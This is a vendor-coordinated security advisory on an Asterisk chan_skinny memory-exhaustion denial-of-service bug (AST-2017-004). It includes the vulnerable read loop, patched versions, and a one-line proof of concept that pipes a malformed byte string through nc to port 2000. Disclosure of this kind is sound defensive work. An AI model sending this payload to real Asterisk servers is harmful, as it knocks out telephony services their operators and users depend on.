Asterisk Skinny memory exhaustion vulnerability leads to DoS

[Sandro Gauci <sandro () enablesecurity com>]

# Asterisk Skinny memory exhaustion vulnerability leads to DoS

- Authors: 
    - Alfred Farrugia <alfred () enablesecurity com>
    - Sandro Gauci <sandro () enablesecurity com>
- Vulnerable version: Asterisk 14.4.0 with `chan_skinny` enabled
- References: AST-2017-004
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2017-03-asterisk-chan-skinny-crash>
- Vendor Advisory:
<http://downloads.asterisk.org/pub/security/AST-2017-004.html>
- Timeline:
    - Report date: 2017-04-13
    - Digium confirmed issue: 2017-04-13
    - Digium patch and advisory: 2017-05-19
    - Enable Security advisory: 2017-05-23

## Description

Sending one malformed Skinny message to port 2000 will exhaust
Asterisk's memory resulting in a crash.

## Impact

Abuse of this issue allows attackers to crash Asterisk when Skinny is
exposed to attackers.

## How to reproduce the issue

Start Asterisk and make sure the `chan_skinny` module is loaded. Then
execute:

        printf
        "\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39"
        | nc localhost 2000
        
After a few seconds Asterisk will crash since it will be using all of
the available memory. Different malformed strings will crash the server
faster or slower depending on the amount by which `req->data` is
extended.


The malformed message will throw the following errors in Asterisk:

        [Apr  6 09:35:26] WARNING[6893]: chan_skinny.c:7587
        skinny_session: Partial data received, waiting (35 bytes read of
        52)

while it will loop forever. This is due to the following code:

```c
while (1) {     
        if ((res = read(s->fd, ((char*)&req->data)+bytesread,
        dlen-bytesread)) < 0) {
                ast_log(LOG_WARNING, "Data read() returned error: %s\n",
                strerror(errno));
                break;
        }
        bytesread += res;
        if (bytesread >= dlen) {
                if (res < bytesread) {
                        ast_log(LOG_WARNING, "Rest of partial data
                        received.\n");
                }
                if (bytesread > dlen) {
                        ast_log(LOG_WARNING, "Client sent wrong amount
                        of data (%d), expected (%d).\n", bytesread,
                        dlen);
                        res = -1;
                }
                break;
        }

        ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes
        read of %d)\n", bytesread, dlen);
        if (sched_yield() < 0) {
                ast_log(LOG_WARNING, "Data yield() returned error:
                %s\n", strerror(errno));
                res = -1;
                break;
        }
}
```

The reason appears to be that `res` always returns 0 so `bytesread` will
not grow and the loop never breaks. However `req->data` will continue to
expand until all the memory is exhausted. 

This issue was found through basic manual testing, before attempting to
start fuzzing `chan_skinny`.

![Memory usage while Asterisk receives a malformed skinny
message](mem-graph.png)

## Solutions and recommendations

Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or
13.13-cert4. Enable Security highly recommends disabling this module.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information
Security services, including Penetration Testing, Research and
Development, to help protect client networks and applications against
online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There
are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.

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